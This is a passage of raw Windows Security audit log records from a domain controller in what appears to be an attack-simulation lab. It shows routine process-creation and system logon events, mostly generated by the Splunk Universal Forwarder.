Information: - New Process ID: 0xe34 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253702 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe1c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd94 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253701 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdf8 - New Process Name: C:\Windows\System32\vds.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\vds.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253700 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253699 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253698 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\System32\vdsldr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\vdsldr.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253697 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd9c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd94 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253696 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd94 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253718 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253717 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf98 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253716 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf98 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x8a4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 2>&1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253715 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253714 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf54 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf40 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253713 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xf34 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253712 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf34 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list kvstore --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253711 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xef0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253710 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xee4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253709 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253723 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe38 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253722 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xfa4 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253721 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe24 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1a0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:47 PM 